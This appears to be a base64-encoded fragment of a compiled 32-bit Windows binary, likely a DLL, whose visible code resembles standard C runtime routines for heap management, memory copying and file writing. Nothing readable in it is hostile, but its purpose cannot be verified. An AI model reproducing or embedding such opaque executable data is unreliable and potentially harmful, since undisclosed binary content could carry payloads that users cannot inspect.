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BAAAAUP91GP/Wi/g7+w+EqwAAAH48gf/w//9/dzSNRD8IPQAEAAB3E+ihIwAAi8Q7w3QcxwDMzAAA6xFQ6Cf2//9ZO8N0CccA3d0AAIPACIvYhdt0aY0EP1BqAFPo3Z///4PEDFdT/3UQ/3UMagH/dRj/1oXAdBH/dRRQU/91CP8VLAEBEIlF+FPoyfr//4tF+FnrdTP2OV0cdQiLB4tAFIlFHDldGHUIiweLQASJRRj/dRzoDCEAAFmD+P91BDPA60c7RRh0HlNTjU0QUf91DFD/dRjoNCEAAIvwg8QYO/N03Il1DP91FP91EP91DP91CP91HP8VKAEBEIv4O/N0B1boqJ7//1mLx41l7F9eW4tN/DPN6CmW///Jw4v/VYvsg+wQ/3UIjU3w6DSY////dSSNTfD/dSD/dRz/dRj/dRT/dRD/dQzoFv7//4PEHIB9/AB0B4tN+INhcP3Jw4v/VYvsVot1CIX2D4SBAQAA/3YE6Die////dgjoMJ7///92DOgonv///3YQ6CCe////dhToGJ7///92GOgQnv///zboCZ7///92IOgBnv///3Yk6Pmd////dijo8Z3///92LOjpnf///3Yw6OGd////djTo2Z3///92HOjRnf///3Y46Mmd////djzowZ3//4PEQP92QOi2nf///3ZE6K6d////dkjopp3///92TOienf///3ZQ6Jad////dlTojp3///92WOiGnf///3Zc6H6d////dmDodp3///92ZOhunf///3Zo6Gad////dmzoXp3///92cOhWnf///3Z06E6d////dnjoRp3///92fOg+nf//g8RA/7aAAAAA6DCd////toQAAADoJZ3///+2iAAAAOganf///7aMAAAA6A+d////tpAAAADoBJ3///+2lAAAAOj5nP///7aYAAAA6O6c////tpwAAADo45z///+2oAAAAOjYnP///7akAAAA6M2c////tqgAAADowpz//4PELF5dw4v/VYvsVot1CIX2dDWLBjsFYFoBEHQHUOifnP//WYtGBDsFZFoBEHQHUOiNnP//WYt2CDs1aFoBEHQHVuh7nP//WV5dw4v/VYvsVot1CIX2dH6LRgw7BWxaARB0B1DoWZz//1mLRhA7BXBaARB0B1DoR5z//1mLRhQ7BXRaARB0B1DoNZz//1mLRhg7BXhaARB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45f//AoO9IOX//wB0KWoNWFCJhUDl///oFhsAAFlmO4VA5f//D4U7AwAA/4U45f///4Uw5f//i0UQOYVE5f//D4L5/f//6ScDAACLDooT/4U45f//iFQPNIsOiUQPOOkOAwAAM8mLBgPH9kAEgA+EvwIAAIuFNOX//4mNQOX//4TbD4XKAAAAiYU85f//OU0QD4YgAwAA6waLtSjl//+LjTzl//+DpUTl//8AK4005f//jYVI5f//O00QczmLlTzl////hTzl//+KEkGA+gp1EP+FMOX//8YADUD/hUTl//+IEED/hUTl//+BvUTl////EwAAcsKL2I2FSOX//yvYagCNhSzl//9QU42FSOX//1CLBv80B/8VOAEBEIXAD4RCAgAAi4Us5f//AYU45f//O8MPjDoCAACLhTzl//8rhTTl//87RRAPgkz////pIAIAAImFROX//4D7Ag+F0QAAADlNEA+GTQIAAOsGi7Uo5f//i41E5f//g6U85f//ACuNNOX//42FSOX//ztNEHNGi5VE5f//g4VE5f//Ag+3EkFBZoP6CnUWg4Uw5f//AmoNW2aJGEBAg4U85f//AoOFPOX//wJmiRBAQIG9POX///4TAABytYvYjYVI5f//K9hqAI2FLOX//1BTjYVI5f//UIsG/zQH/xU4AQEQhcAPhGIBAACLhSzl//8BhTjl//87ww+MWgEAAIuFROX//yuFNOX//ztFEA+CP////+lAAQAAOU0QD4Z8AQAAi41E5f//g6U85f//ACuNNOX//2oCjYVI+f//XjtNEHM8i5VE5f//D7cSAbVE5f//A85mg/oKdQ5qDVtmiRgDxgG1POX//wG1POX//2aJEAPGgb085f//qAYAAHK/M/ZWVmhVDQAAjY3w6///UY2NSPn//yvBmSvC0fhQi8FQVmjp/QAA/xXcAAEQi9g73g+ElwAAAGoAjYUs5f//UIvDK8ZQjYQ18Ov//1CLhSjl//+LAP80B/8VOAEBEIXAdAwDtSzl//873n/L6wz/FRwAARCJhUDl//873n9ci4VE5f//K4U05f//iYU45f//O0UQD4IK////6z9qAI2NLOX//1H/dRD/tTTl////MP8VOAEBEIXAdBWLhSzl//+DpUDl//8AiYU45f//6wz/FRwAARCJhUDl//+DvTjl//8AdWyDvUDl//8AdC1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